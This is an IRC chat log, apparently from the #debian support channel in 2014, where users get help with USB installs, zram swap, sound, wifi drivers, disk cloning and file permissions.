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| 00:01.01 | heurist | cafuego: nothing recent though. |
| 00:02.01 | notRRR | on his page, but a quick serach didn't find anything about my error :/ |
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| 00:04.05 | kc8qvp | So, I'm about to make a debian install that is going to live on a bootable USB thumbdrive. It's 32GB. I'm thinking, I should just run the installer, and install to it like it's a normal HDD in a normal system. Oh, I'm going to do full-disk encryption, too. Is there any reason I'd load a live image onto instead, instead of running the installer onto it? |
| 00:04.08 | heurist | notRRR: sorry to say it (here) but if I want selinux I tend to run centos instead (actually SL not centos, but hey). |
| 00:04.32 | stryngs | Can someone tell me which channel help for apt building would be? |
| 00:05.03 | notRRR | i hear you heurist. problem is the current setup requires debian-ish |
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| 00:06.56 | C^^^^^ | kc8qvp could you be anymore confusing |
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| 00:07.25 | nkuttler | stryngs: what do you mean? |
| 00:07.38 | heurist | notRRR: I hear you, selinux is the only reason I every run anything other than debian. From what I see jessie will not have better support, it is just not a goal that is important... good luck to you. document what you fix and post it on the debian wiki, file bug reports on everything! |
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| 00:08.04 | notRRR | hehe sure thing :) |
| 00:08.07 | stryngs | I would like some help with creation of a .deb file in a specialized manner |
| 00:08.11 | kc8qvp | C^^^^^: Sorry, I didn't think it was too unclear.. I'll try again. |
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| 00:09.13 | kc8qvp | I'm about to install debian, onto a USB flash drive. I could use one of the hybrid-iso Live images to create it. Or, I could just run the debian installer, and partition/configure my flash drive as if it were a normal hard disk during any other normal installation. Why would I choose one over the other>? |
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| 00:09.32 | heurist | !tias |
| 00:09.32 | dpkg_ | TIAS is "Try It And See". |
| 00:09.40 | nkuttler | !tell stryngs about nmg |
| 00:09.41 | slurpymcdurpy | write wear on the flash |
| 00:09.42 | kc8qvp | I have, done it both ways before. |
| 00:10.11 | slurpymcdurpy | overall performance prob. not so great, yet you would alwayas have your system with you . .. |
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| 00:11.12 | notRRR | one last selinux question though. would allow_ftpd_full_access overwrite allow_ftpd_anon_write and others that are set to off ? |
| 00:11.28 | stryngs | nkuttler: That doesnt help a specialized version of .deb building |
| 00:11.31 | stryngs | i appreciate it |
| 00:11.37 | stryngs | but it wont help me for an embedded environment |
| 00:11.40 | heurist | kc8qvp: the live images are compressed with squashfs (could be something else these say, out of touch) so you can get more on, and save time on reading data, that may or may not help or hinder your system. |
| 00:11.45 | slurpymcdurpy | kc8: Personally, I would probably not trust the flash in the usb-stick to last for a large quantity of writes. |
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| 00:12.35 | stryngs | So again, is there a chatroom which deals with building .deb packages? |
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| 00:12.50 | slurpymcdurpy | I'm fairly sure there's a way to squash / and unsquash it during initrd -- but I might be wrong about that -- |
| 00:12.57 | slurpymcdurpy | i haven't done it |
| 00:13.03 | slurpymcdurpy | so it's a hypotheis at best |
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| 00:14.07 | heurist | slurpymcdurpy: the unsquash would need to go into ram and if it is a 32Gb disk and filled that is a problem. Not sure why you think it will be writing all the time though. |
| 00:14.23 | slurpymcdurpy | hmm, no I don't think it would be writing all the time. |
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| 00:14.58 | brentaarnold | Is Debian a recommended desktop OS? In context, we have a government organization with desktop users in a public record department looking to switch from a MS environment. |
| 00:15.07 | kc8qvp | I really don't expect the 32GB to be filled; could do the same job w/ an 8GB stick. If it ever does get full, it will be stuff that is very rarely and infrequently touched. |
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| 00:15.21 | kc8qvp | RAM caching should really smooth out my wear issue, I would think |
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| 00:15.37 | slurpymcdurpy | Have you examined how Porteus linux does it? |
| 00:15.38 | heurist | brentaarnold: Debian is nice for a desktop system. It is a good choice. |
| 00:16.01 | kc8qvp | No, I have not. |
| 00:16.05 | kc8qvp | I have never heard of that. |
| 00:16.57 | slurpymcdurpy | I looked at it a little bit, but it seems like it would be a lot of time to generate something similar from a Debian base -- you're prob. better off just trying both and seeing which one you like better. |
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| 00:17.05 | heurist | kc8qvp: yes, use tmpfs for anything that needs writing and sync it to the real disk as often as you feel like. look at zram for swapping. |
| 00:17.19 | slurpymcdurpy | exactly |
| 00:17.48 | brentaarnold | heurist: Is Debian your first choice? I've looked at RHEL quite a bit but find it's packages to be lacking. I was hoping to hop on the Debian package backing, but I wasn't sure if vanilla Debian was the go-to Debian distro. |
| 00:18.00 | slurpymcdurpy | trying both installing it straight onto the disk and hybrid-iso |
| 00:18.26 | kc8qvp | yeah, I do happen to have two identical flash drives; I could do some performance comparisons. |
| 00:18.55 | heurist | brentaarnold: I use debian for desktop all the time. It would be my first choice. Agreed about the packaging. |
| 00:19.27 | slurpymcdurpy | or pick one and run with it -- using zramswap and tmpfs quite a bit would def. be suitable on most machines (with the exception of running it on low-ram machines) |
| 00:19.32 | brentaarnold | heurist: Thanks for your input. |
| 00:20.09 | kc8qvp | slurpymcdurpy: yeah; I lean toward a full/normal install, for sure. |
| 00:20.27 | slurpymcdurpy | pretty much the same stuff you'd do to reduce wear on an SSD. Altho with 32GB of space, it would prob. take a while to wear out. |
| 00:20.28 | kc8qvp | I'd never heard of zram; going to have to read up on this. |
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| 00:20.54 | heurist | brentaarnold: to be honest both debian and rhel are good choices, pick whichever you like best and can support. (though by rhel I probably mean centos/SL) |
| 00:20.59 | kc8qvp | can't I just not have swap space defined at all? |
| 00:21.15 | slurpymcdurpy | you can. |
| 00:21.20 | heurist | kc8qvp: if you don not need swap you do not need swap |
| 00:21.38 | heurist | kc8qvp: you can also add swap later, or on the fly. |
| 00:21.44 | slurpymcdurpy | but running the machine on a machine with 512MB of RAM might be a tad . . . interesting. |
| 00:21.45 | slurpymcdurpy | Yah. |
| 00:21.46 | kc8qvp | true dat |
| 00:21.54 | slurpymcdurpy | err. |
| 00:21.57 | slurpymcdurpy | running the Os on a machine* |
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| 00:23.01 | heurist | kc8qvp: if I decide I need a gig of swap on my 4 core machine I just run: modprobe zram && for z in /sys/block/zram* ; do echo 268345456 > $z/disksize ; done && for z in /dev/zram* ; do mkswap $z ; swapon -p100 $z ; done |
| 00:23.17 | kc8qvp | it's a very interesting idea |
| 00:24.09 | slurpymcdurpy | I figure the use-case with a flash drive is a one in which you would be running it on many different machines. |
| 00:24.23 | kc8qvp | theoretically, but probably not in practice. |
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| 00:24.40 | kc8qvp | it's going to be an off-line, air-gapped host for doing some security-sensitive stuff on |
| 00:24.49 | slurpymcdurpy | Ah. |
| 00:24.53 | slurpymcdurpy | yah |
| 00:24.55 | slurpymcdurpy | that makes sense. |
| 00:25.01 | kc8qvp | but if, in the event my host for it died, it will be important to be able to pop it into another :) |
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| 00:26.44 | heurist | kc8qvp: you may want to install things like live-tools to help with moving to other machines. not sure which tools are best these days though. it has been a long time since I needed to build a custom LiveCD. |
| 00:26.47 | kc8qvp | alright; thanks a lot guys for the advice and insight. |
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| 00:27.07 | slurpymcdurpy | compression and encryption don't always do so well together, so you can prob. discard much of the squashfs ideas. |
| 00:27.09 | kc8qvp | meh, IME linux machines just boot in whatever machine |
| 00:27.32 | kc8qvp | it's not like I'm going to have 3d graphics or wonky wlan chipsets or anything |
| 00:27.35 | kc8qvp | <PROTECTED> |
| 00:27.41 | kc8qvp | (sorry; mis-paste) |
| 00:27.46 | slurpymcdurpy | hahah |
| 00:28.01 | slurpymcdurpy | Echo! |
| 00:28.05 | slurpymcdurpy | listens |
| 00:28.14 | heurist | silence |
| 00:28.53 | binaryhermit | kc8qvp: just curious, what would you consider low-ram, regarding your last line? |
| 00:29.13 | kc8qvp | that was a mis-paste of someone else's line |
| 00:29.15 | slurpymcdurpy | the attribution of that line is aliased. |
| 00:29.29 | binaryhermit | oh, sorry |
| 00:29.47 | kc8qvp | I'll have multiple gigabytes of ram, at least, everywhere I want to boot it, I'd think |
| 00:29.50 | kc8qvp | in this modern age |
| 00:30.27 | slurpymcdurpy | so I'll reply: I would consider anything below 512MB of ram to be "low" -- and anything below 1 GB for many windowing systems. |
| 00:30.58 | slurpymcdurpy | I'm saying that ZRAM swap trades space for processor time and latency in RAM. |
| 00:31.18 | kc8qvp | I will probably use it, slurpymcdurpy |
| 00:31.19 | heurist | I become uncomfortable below 4G these days. |
| 00:31.43 | slurpymcdurpy | Ie, you can compress your ram pages via ZRAM but it won't be as fast as regular ram, even though you get something like 7/4ths the space. |
| 00:32.07 | heurist | slurpymcdurpy: but it will be vastly faster than regular swap. |
| 00:32.11 | slurpymcdurpy | yes. |
| 00:34.45 | slurpymcdurpy | must go. bye for now :) |
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| 00:35.05 | kc8qvp | same; thanks again, all |
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| 00:43.10 | TomyLobo | hi |
| 00:44.38 | TomyLobo | "update-flashplugin-nonfree --status" says "11.2.202.406", but this page says it's older than 10.10: http://www.zdf.de/ZDFmediathek/kanaluebersicht/2078314#/beitrag/video/2241768/Die-Anstalt-vom-23-September-2014 |
| 00:44.54 | TomyLobo | what's wrong? should i use the pepper flash plugin package instead? |
| 00:45.03 | TomyLobo | this is wheezy, btw |
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| 00:46.03 | TomyLobo | and i'm using chromium |
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| 00:47.06 | heurist | TomyLobo: pepperflash is broken in wheezy at the moment, google said they had a fix a few days ago, but I do know if/when that will materialize. just stop using flash, come into the next century. |
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| 00:47.37 | Resilience | I am trying to execute a dd'd image of a harddisk with this command and it does not work qemu-i386 -hda sdc.img -m 512 |
| 00:48.09 | TomyLobo | heurist tell the internet |
| 00:48.46 | heurist | !tell Resilience -about errors |
| 00:49.03 | TomyLobo | oh wait, they have an html version |
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| 00:49.37 | heurist | TomyLobo: yep, html5 is the future. |
| 00:50.04 | TomyLobo | i can only see that link to the html5 player if i have flash, though |
| 00:50.11 | TomyLobo | which strikes me as a little bit odd |
| 00:50.22 | heurist | TomyLobo: that is messed up (: |
| 00:50.24 | Resilience | I am trying to execute a dd'd image of a harddisk with this command and it does not work qemu-i386 -hda sdc.img -m 512 and the output is here http://pastebin.com/sMWbmXiA |
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| 00:51.51 | TomyLobo | works fine :) |
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| 00:52.36 | TomyLobo | heurist do you know if flashplugin-nonfree is even supposed to work with chromium? |
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| 00:52.58 | heurist | TomyLobo: I think chromium needs pepperflash. |
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| 00:55.30 | TomyLobo | ok |
| 00:56.09 | TomyLobo | thanks, turning off this machine now, switching to my wheezy box :) |
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| 01:00.43 | Eduard_Munteanu | Resilience, you need to use qemu-system-i386 or something like that |
| 01:00.56 | Eduard_Munteanu | qemu-i386 is the user emulator. |
| 01:01.25 | Resilience | Eduard_Munteanu, mmmm ñam, what's the diference? |
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| 01:02.08 | Eduard_Munteanu | Resilience, the user emulator merely runs a *process* and does the translation, it doesn't emulate a full VM |
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| 01:02.53 | Resilience | Eduard_Munteanu, I thought I have to emulate the complete machine in order to run an image |
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| 01:03.07 | Eduard_Munteanu | Resilience, yep, which is why you need the system variant |
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| 01:03.25 | cuddylier_ | Anyone know why cron is spawning a lot of lsof processes? |
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| 01:46.25 | shay_shay | ohkay |
| 01:46.42 | shay_shay | i got a system where i want to install wheezy but the intallers kernel is too old |
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| 01:48.25 | shay_shay | i guess my choices are jessie installer or debootstrap? |
| 01:49.22 | Eduard_Munteanu | shay_shay, or modifying the wheezy installer |
| 01:49.30 | shay_shay | :O |
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| 01:50.29 | Eduard_Munteanu | shay_shay, actually, you can use a VM to boot the wheezy installer |
| 01:50.44 | shay_shay | and? |
| 01:51.02 | Eduard_Munteanu | shay_shay, and give the HDD to the VM to install to |
| 01:51.22 | shay_shay | oh access the drives from the vm? that wont help. it wont install because the btrfs filesystem was made with 3.14 |
| 01:51.46 | Eduard_Munteanu | shay_shay, do you want to install to an existing filesystem? |
| 01:51.49 | shay_shay | yes |
| 01:52.04 | shay_shay | i want the file system to be created with up to date tools |
| 01:52.22 | Eduard_Munteanu | shay_shay, in that case (c)debootstrap is a reasonable option |
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| 01:52.32 | Eduard_Munteanu | shay_shay, created? |
| 01:52.36 | shay_shay | cebootstrap is poo |
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| 01:52.39 | Eduard_Munteanu | I thought you said existing. |
| 01:52.42 | shay_shay | yeah its already created |
| 01:53.09 | shay_shay | cebu is a cow type animal right? |
| 01:53.15 | shay_shay | :) |
| 01:53.18 | Eduard_Munteanu | cdebootstrap |
| 01:54.05 | Eduard_Munteanu | shay_shay, then you can't boot plain wheezy on it, unless you use backports or something |
| 01:54.23 | shay_shay | i know i was going to chroot to it and update the kernel |
| 01:55.43 | Eduard_Munteanu | shay_shay, you could install using the VM to a separate ext4 filesystem, then rsync to the btrfs and update the UUIDs. |
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| 01:56.07 | Eduard_Munteanu | Or make the ext4 have the same UUID in the first place. |
| 01:57.14 | shay_shay | good idea |
| 01:57.39 | shay_shay | thats easier than cebu strap |
| 01:57.51 | Eduard_Munteanu | Not really. |
| 01:57.56 | Eduard_Munteanu | It's getting pretty close. |
| 01:58.17 | shay_shay | well fewer post install things to deal with |
| 01:58.28 | shay_shay | well i guess its just networking and tzdata |
| 01:58.31 | Eduard_Munteanu | You still need to reinstall the bootloader. |
| 01:58.37 | shay_shay | thats easy |
| 01:59.16 | shay_shay | ok fine i will do debootstrap from gparted live xD |
| 01:59.24 | Eduard_Munteanu | :) |
| 01:59.39 | Eduard_Munteanu | The Debian installer tends to be pretty slow, especially wheezy's. |
| 02:00.00 | Eduard_Munteanu | It takes like a darned 30mins to get a really basic system in place. |
| 02:00.11 | blackjack | are all current updates install now safe of shellshock craze? |
| 02:00.14 | Eduard_Munteanu | At least on VMs. |
| 02:00.14 | shay_shay | and i dont really have an extra hdd |
| 02:00.30 | shay_shay | omg blackjack youve been asking for how many days |
| 02:00.33 | shay_shay | give it a rest |
| 02:00.42 | blackjack | its a serious thing. i wont rest |
| 02:00.47 | Eduard_Munteanu | shay_shay, you wouldn't really need one if you installed to a file-backed VM image |
| 02:00.51 | blackjack | shay_shay, tell me pls if everything is now safe in the open? |
| 02:01.20 | Eduard_Munteanu | blackjack, check the changelog |
| 02:01.39 | binaryhermit | blackjack: it wasn't safe for the last 25 years, yet you still used it :P |
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| 02:01.50 | blackjack | aww |
| 02:01.53 | blackjack | ok :P |
| 02:02.09 | mesa | binaryhermit: =) |
| 02:02.11 | Artemis3 | BlackBishop, and not resting won't stop someone exploiting something you didn't even know existed in the first place. |
| 02:02.17 | Artemis3 | blackjack, |
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| 02:02.48 | Eduard_Munteanu | Upgrade bash, gain experience, rest to advance to next level. :P |
| 02:02.51 | heurist | blackjack: according to https://securityblog.redhat.com/2014/09/26/frequently-asked-questions-about-the-shellshock-bash-flaws/ there are another two CVEs related to this issue which have not been addressed at all yet. |
| 02:03.14 | Artemis3 | they will in due time |
| 02:03.27 | blackjack | thanks heurist. that means im still not resting :/ |
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| 02:03.59 | Artemis3 | pointless |
| 02:04.03 | c|oneman | if I copy a USB drive with dd, will it copy all the zeros too and add wear to it? |
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| 02:04.25 | Eduard_Munteanu | c|oneman, yes |
| 02:04.30 | heurist | blackjack: no, it means they have only found two more, so far. with an attitude like that you will never get to rest again (: |
| 02:04.39 | superstraw | they wear from reads? i thought only with writes for some reason |
| 02:04.41 | c|oneman | is there a way to make a disk image that doesn't keep all the empty space? |
| 02:04.54 | c|oneman | well, eventually I'm gonna write it back to another drive |
| 02:05.07 | Eduard_Munteanu | c|oneman, an easy way is to compress the image |
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| 02:05.46 | shay_shay | bah |
| 02:05.48 | heurist | c|oneman: rsync rather an image? typing you name it a pain though so I will say no more. |
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| 02:06.29 | Eduard_Munteanu | c|oneman, also https://unix.stackexchange.com/questions/17087/clone-whole-partition-or-hard-drive-to-a-sparse-file |
| 02:06.50 | Eduard_Munteanu | However writing it back will still write zeros if you still use dd. |
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| 02:08.23 | Eduard_Munteanu | Though there's no guarantee your drive contains zeros in the "background". |
| 02:08.37 | Eduard_Munteanu | It might have originally, but if you've filled it once... |
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| 02:09.48 | Eduard_Munteanu | rsync / tar whatever is an option. Just mind rsync by default doesn't use the delta algorithm for local files. |
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| 02:10.25 | Eduard_Munteanu | So be careful if that means rsync-ing an image instead of files. |
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| 02:25.28 | Eduard_Munteanu | Blah, debootstrap should be fixed to let you install without essentials. |
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| 02:26.11 | themill | eh? |
| 02:26.12 | Eduard_Munteanu | Maybe I just want a busybox. |
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| 02:27.29 | c|oneman | im copying a drive with multiple partitions and a boot sector, so tar/rsync is not an option |
| 02:27.30 | Eduard_Munteanu | Would probably help if essentials was a package. |
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| 02:28.46 | Eduard_Munteanu | c|oneman, try clonezilla |
| 02:29.03 | c|oneman | I did. it failed, the log file showed nothing, I emoquit. |
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| 02:31.31 | c|oneman | I think dd will do for now |
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| 02:32.51 | Eduard_Munteanu | c|oneman, try compressing it, e.g. pv < /dev/... | xz > image.xz |
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| 02:33.05 | Eduard_Munteanu | If that's too slow, try xz -3. |
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| 02:35.24 | snuggyfoo | I need some help folks. I installed fail2ban and suddenly a "virbr0" virtual adapter appeared and keeps changing my ethernet adapter's ip |
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| 02:35.32 | Eduard_Munteanu | Oh well, I'll use Arch for bootstrapping really small systems. |
| 02:35.58 | Eduard_Munteanu | snuggyfoo, that's likely from libvirtd |
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| 02:36.31 | Eduard_Munteanu | snuggyfoo, try virsh net-destroy default |
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| 02:36.40 | Eduard_Munteanu | (as root) |
| 02:37.17 | Eduard_Munteanu | Or stop the libvirtd service altogether. |
| 02:37.18 | snuggyfoo | Eduard_Munteanu, I will try that thank you |
| 02:37.23 | petn-randall | snuggyfoo: I'm pretty sure that's not related to fail2ban. |
| 02:37.33 | snuggyfoo | hmmm |
| 02:37.50 | snuggyfoo | that's just the last thing I did to my server before it went offline and had a changed IP with a virtual adapter |
| 02:38.29 | snuggyfoo | I have no service "virsh" |
| 02:38.47 | Eduard_Munteanu | libvirtd, not virsh, as the service. |
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| 02:39.06 | Eduard_Munteanu | Unless you mean the command didn't work. |
| 02:39.13 | snuggyfoo | ah, "libvirtd-bin" |
| 02:39.17 | Eduard_Munteanu | Yeah. |
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| 02:39.38 | Eduard_Munteanu | It might've been pulled in by an update, without libvirtd-bin. |
| 02:40.28 | petn-randall | snuggyfoo: virbr0 is a ethernet interface that got set up for virtualisation. So you've likely got libvirt or something similar installed. Which release are you running? |
| 02:41.01 | snuggyfoo | petn-randall, 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux |
| 02:41.32 | snuggyfoo | This started yesterday. |
| 02:41.45 | petn-randall | !ubuntu |
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| 02:41.48 | dpkg_ | Ubuntu is based on Debian, but it is not Debian. Only Debian is supported on #debian. Use #ubuntu on chat.freenode.net instead. Even if the channel happens to be less helpful, support for distributions other than Debian is offtopic on #debian. See also <based on debian> and <ubuntuirc>. |
| 02:42.07 | snuggyfoo | :| |
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| 02:42.35 | snuggyfoo | Well I think the culprit has been identified. |
| 02:42.46 | snuggyfoo | Thank you both very much for the help. |
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| 03:00.45 | vim4win | hello |
| 03:01.12 | vim4win | is anyone there? |
| 03:01.35 | vim4win | i am having a sound problem |
| 03:02.39 | mo1991 | !question |
| 03:02.51 | vim4win | ? |
| 03:02.53 | mo1991 | vim4win ask you question |
| 03:03.01 | mo1991 | your |
| 03:03.07 | vim4win | i have no sound on my debian system |
| 03:03.43 | vim4win | i installed it with the netinstall and just installed alsa-utils ranger awesome cmus |
| 03:03.50 | vim4win | nothing else |
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| 03:04.55 | jimgnosis | Did you install alsa-?drivers |
| 03:04.59 | mo1991 | what does alsamixer show |
| 03:05.04 | mo1991 | ? |
| 03:05.06 | vim4win | i did not |
| 03:05.29 | vim4win | it says no sound device found, but i hit f6 and find my sound and unmute everytthing |
| 03:05.40 | vim4win | how do i install alsa drivers?> |
| 03:06.12 | jimgnosis | apt-get install alas-drivers |
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| 03:06.25 | jimgnosis | alsa |
| 03:06.36 | vim4win | okay |
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| 03:07.14 | vim4win | ill be back! |
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| 03:10.02 | vim4win | is it alsa-drivers? |
| 03:10.22 | jimgnosis | Yeah |
| 03:10.31 | vim4win | the package is not found |
| 03:12.11 | jimgnosis | sorry that's Gentoo. Try alsa-base |
| 03:12.37 | vim4win | it is already installed |
| 03:12.43 | lesta | alsa-utils? |
| 03:12.47 | vim4win | yes |
| 03:13.03 | vim4win | i have it installed |
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| 03:13.56 | jimgnosis | Can you show dmesg | grep -i snd && lsmod && lspci |
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| 03:15.03 | vim4win | pastebin? |
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| 03:15.43 | jimgnosis | Sure |
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| 03:18.54 | vim4win | here you go http://pastebin.com/Dq2AbtbU |
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| 03:20.53 | vim4win | anything? |
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| 03:23.19 | jimgnosis | Can you run alsa-utils from a shell |
| 03:23.25 | dvs | he's gone |
| 03:23.28 | vim4win | yes |
| 03:23.41 | vim4win | srry accidentally quit |
| 03:24.05 | vim4win | command not found |
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| 03:26.17 | vim4win | any ideas? |
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| 03:29.04 | dvs | !alsa checklist |
| 03:29.06 | dpkg_ | 1) add yourself to the 'audio' group (log out & in again) 2) unmute and raise channels w/ alsamixer (also try muting some & toggle jack sense if available) 3) <pulseaudio> or other daemon stopped? 4) speakers on? 5) does "aplay /usr/share/sounds/alsa/Noise.wav" work for root? 6) purge any installed <oss4> packages to remove ALSA blacklist. See also <list alsa users>, <alsa firmware>. |
| 03:29.06 | vim4win | anybody there? :( |
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| 03:29.40 | vim4win | how do i do step 1? |
| 03:29.49 | jimgnosis | This client is a POS. Sorry vim4win |
| 03:29.58 | vim4win | it is ok |
| 03:30.01 | Eduard_Munteanu | gpasswd -a user audio |
| 03:30.37 | vim4win | i have to log out so ill be back! |
| 03:30.42 | Eduard_Munteanu | You can check with 'groups'. |
| 03:30.47 | vim4win | :quit |
| 03:30.49 | Eduard_Munteanu | (after relogin) |
| 03:30.49 | jimgnosis | The haswell chipset seems to have some known issues with sound. Does the command aplay -l show any thing |
| 03:31.10 | vim4win | yes |
| 03:31.28 | vim4win | List of PLAYBACK Hardware Devices **** card 1: PCH [HDA Intel PCH], device 0: ALC662 rev3 Analog [ALC662 rev3 Analog] Subdevices: 1/1 Subdevice #0: subdevice #0 |
| 03:31.35 | vim4win | that is the output |
| 03:31.38 | jimgnosis | +1 on being in the audio group |
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| 03:32.19 | vim4win | ill be back |
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| 03:35.10 | vim4win | hello |
| 03:35.20 | vim4win | it still does not work |
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| 03:38.40 | vim4win | any ideas to fix my sound? |
| 03:39.28 | Penix__ | vim4win: have you checked your volume levels? make sure nothing is muted |
| 03:39.55 | Penix__ | step 2 of what dpkg listed |
| 03:40.18 | vim4win | everything is up and running |
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| 03:40.34 | vim4win | how to check dpkg? |
| 03:41.13 | Penix__ | vim4win: dpkg the bot, in this channel. follow step 2 of the checklist from earlier |
| 03:41.14 | jimgnosis | What's listed under /dev/snd/ |
| 03:41.52 | vim4win | my folders |
| 03:41.56 | vim4win | and files |
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| 03:42.38 | Penix__ | vim4win: what does alsamixer show under the volume level bars? 'OO' or 'MM'? |
| 03:42.44 | vim4win | 00 |
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| 03:42.48 | Penix__ | on everything? |
| 03:42.59 | vim4win | !dpkg |
| 03:43.00 | dpkg_ | it has been said that dpkg is the program used by Debian to install and remove packages, "man dpkg". Also ask me about <reference>. The main info bot in #debian is also called dpkg; ask me about <dpkgbot>. |
| 03:43.02 | zack6849 | Hey guys, i need some help with a strange filesystem issue i'm running into |
| 03:43.25 | vim4win | what is it zack? |
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| 03:44.00 | vim4win | yes penix |
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| 03:44.02 | zack6849 | Basically, i have two users, user a, and user b, i need user b to be able to read a file inside of user a's home directory, i can view the file's parent folder, but the folder itself and the file are telling me permission denied, despite the fact i've even gone as far as chmodding them all to 777 |
| 03:44.47 | vim4win | how you tried going into root and seeing if that worked? |
| 03:44.57 | zack6849 | you mean seeing if i can read as root? |
| 03:45.03 | vim4win | yes |
| 03:45.06 | Penix__ | of course that's going to work. that's not solving the problem |
| 03:45.08 | zack6849 | i can. |
| 03:45.09 | zack6849 | ^ |
| 03:45.13 | vim4win | oh my bad |
| 03:45.14 | vim4win | :( |
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| 03:46.04 | vim4win | This may be dumb, but is there multiple users on that account? |
| 03:46.05 | Penix__ | zack6849: can you paste the output of ls -l to a pastebin? list all the directories and files involved |
| 03:46.13 | zack6849 | sure, one moment. |
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| 03:46.38 | jimgnosis | vim4win: can you find a .wav file |
| 03:46.46 | vim4win | jig that file was not found |
| 03:47.21 | zack6849 | https://zack6849.com/uploads/ZmUyN2FkMzdi.txt |
| 03:47.46 | zack6849 | i need to be able to read ulib/users.txt |
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| 03:48.16 | zack6849 | however, from the user my web app is running as (tomcat7) i can't even read the parent directory |
| 03:48.42 | vim4win | zack are you the only user on that system? |
| 03:48.47 | zack6849 | nope |
| 03:48.56 | vim4win | are you the "admin" |
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| 03:49.07 | zack6849 | one of them, yes. |
| 03:49.16 | garyserj | zack6849: i suggest showing the access denieds too |
| 03:49.22 | zack6849 | there are three other guys who use the dedi, all of which have root |
| 03:49.33 | vim4win | hmm |
| 03:50.22 | zack6849 | garyserj, https://zack6849.com/uploads/Y2EwM2NjNTE2.txt |
| 03:50.44 | vim4win | jigmgnosis: maybe the .wav is not there because i did a netinstall with just installing xorg awesome ranger? |
| 03:51.04 | vim4win | i even had to create folders: Documents, Pictures, etc. |
| 03:51.44 | jimgnosis | Its just a sound file. Try something like 'locate -i .wav' |
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| 03:52.23 | zack6849 | i also tried adding the tomcat7 user to the gmod group to see if it would allow read access, and that did nothing |
| 03:52.37 | zack6849 | it's very very strange, and i have *no* idea what the problem is |
| 03:52.42 | vim4win | nothing jig |
| 03:53.06 | vim4win | sorry zack, i have no idea either |
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| 03:54.24 | jimgnosis | Dag meng.... Do you have any music? |
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| 03:55.03 | vim4win | i dont think i even have the codes... |
| 03:55.23 | zack6849 | pokes Penix__ |
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| 03:55.30 | zack6849 | You happen to have any ideas? |
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| 03:57.10 | vim4win | well i am gonna go play dark souls. Hope everything works out zack |
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| 03:57.36 | zack6849 | eh, thank you |
| 03:57.54 | Penix__ | zack6849: so, your tomcat user can't read anything inside 'data/'? is that the problem? |
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| 03:59.11 | jimgnosis | vim4win: Can you post cat /proc/asound/card0/codec* |
| 03:59.22 | zack6849 | Penix__, correct |
| 03:59.29 | zack6849 | i need to read data/ulib/users.tx |
| 03:59.35 | zack6849 | users.txt* |
| 03:59.43 | Penix__ | zack6849: can it read anything else within the 'gmod' user's home directory? |
| 03:59.46 | zack6849 | i've even chmodded the entire data folder to 777 at one time |
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| 03:59.48 | zack6849 | yep, it can. |
| 04:02.33 | zack6849 | dunno if this will help or not |
| 04:02.34 | zack6849 | https://zack6849.com/uploads/ZDM5NTUxMmJi.txt |
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| 04:09.04 | jimgnosis | zack6849: can you post the perms for the data folder itself 'ls -la ~gmod/garrysmod/' if the user can't read the data folder, than the file permissions the won't matter |
| 04:11.20 | zack6849 | jimgnosis, https://zack6849.com/uploads/MDJjN2UzNTYz.txt |
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| 04:12.46 | Rollin | Hey guys! |
| 04:12.58 | Rollin | I need some assistance if thats possible |
| 04:13.00 | zack6849 | hello |
| 04:13.26 | Rollin | I've got my self a new laptop, and i can't manage to get the wifi running |
| 04:13.33 | zack6849 | ask your question, and if you're lucky, someone can try and help :P |
| 04:13.40 | zack6849 | Figure out the name of the wifi card |
| 04:13.48 | Rollin | bcm4352 |
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| 04:14.04 | Rollin | thats the chipset |
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| 04:15.38 | zack6849 | shows here that you should use wl for that chipset |
| 04:15.42 | zack6849 | http://wireless.kernel.org/en/users/Drivers/b43#Supported_devices |
| 04:15.51 | zack6849 | https://wiki.debian.org/wl |
| 04:15.52 | Rollin | Cause if I get it running i'll have to go back to windows... uugughgh |
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| 04:16.44 | milton-friendman | https://www.youtube.com/watch?v=xNc-xhH8kkk communism must be fought |
| 04:16.53 | zack6849 | ... |
| 04:17.02 | Eduard_Munteanu | I've had people make that threat, as if I cared too much about it. |
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| 04:17.22 | Rollin | huh |
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| 04:17.30 | Rollin | you found this awfully fast |
| 04:17.49 | Eduard_Munteanu | (and as if that hurts me and not them) |
| 04:18.10 | Rusty1 | Rollin: that chipset may not be supported indebian, if your serious abt using debian buy a cheap usb device that is |
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| 04:18.41 | zack6849 | Rollin, i had a similar problem installing wifi on a rather old laptop :) |
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| 04:18.43 | Rollin | how long may this take until it is supported? |
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| 04:20.06 | zack6849 | It said on that page it wasnt supported by default and to use wl on that list |
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| 04:21.43 | Rusty1 | Rollin: https://wiki.debian.org/wl you can try that |
| 04:22.00 | Rollin | Rusty1: I'll give it a shot |
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| 04:27.40 | zack6849 | heh |
| 04:28.27 | zack6849 | why do people give themselves op like that then remove it after they use it, would it not be easier to just keep it for when you need it? |
| 04:28.52 | croddy | sure, and why not just run everything as root? |
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| 04:29.25 | alipoor90 | Hi , can anyone help me about virtualization ? |
| 04:29.30 | Eduard_Munteanu | zack6849, it's considered less threatening for channel staff to not use +o all the time |
| 04:29.44 | zack6849 | croddy, that's not really a fair comparison, as one can damage things, and the other wont |
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| 04:29.49 | Eduard_Munteanu | e.g. during normal conversations |
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| 04:30.05 | zack6849 | but then how are you going to know who's staff if you need them for something? |
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| 04:30.14 | rgr|android | brandishing op is a sign of low self esteem.. |
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| 04:30.38 | zack6849 | is this a freenode specific thing? i dont see people do it on esper or anywhere else really |
| 04:30.42 | Eduard_Munteanu | /msg chanserv access list #debian |
| 04:30.55 | Eduard_Munteanu | Or often there's a bot that'll invoke ops. |
| 04:31.00 | rgr|android | you ask or list the access list for the group |
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| 04:32.04 | Eduard_Munteanu | dpkg_, help |
| 04:32.54 | zack6849 | aaanyone who can help me with this issue? |
| 04:33.08 | zack6849 | it's been the bane of my existence for a good two hours now |
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| 04:34.01 | jimgnosis | zack6849: did you check the perms on the data folder |
| 04:34.29 | zack6849 | check them how, i cant chage directories to them, but i hoestly have no clue what im doing anymore |
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| 04:35.28 | zack6849 | data was chmodded to 777 and tomcat7 is in the gmod group, and it still cant cd there |
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| 04:35.50 | zack6849 | or rather, i can ls, but not cd, which is strange. |
| 04:36.17 | jimgnosis | ls -l of the directory containing the data folder. cd requires execute. |
| 04:36.26 | Eduard_Munteanu | zack6849, you're missing 'x' then |
| 04:36.39 | zack6849 | already gave you that earlier, alone with a ping as far as i know |
| 04:36.54 | jimgnosis | sorry. its my first time on irc |
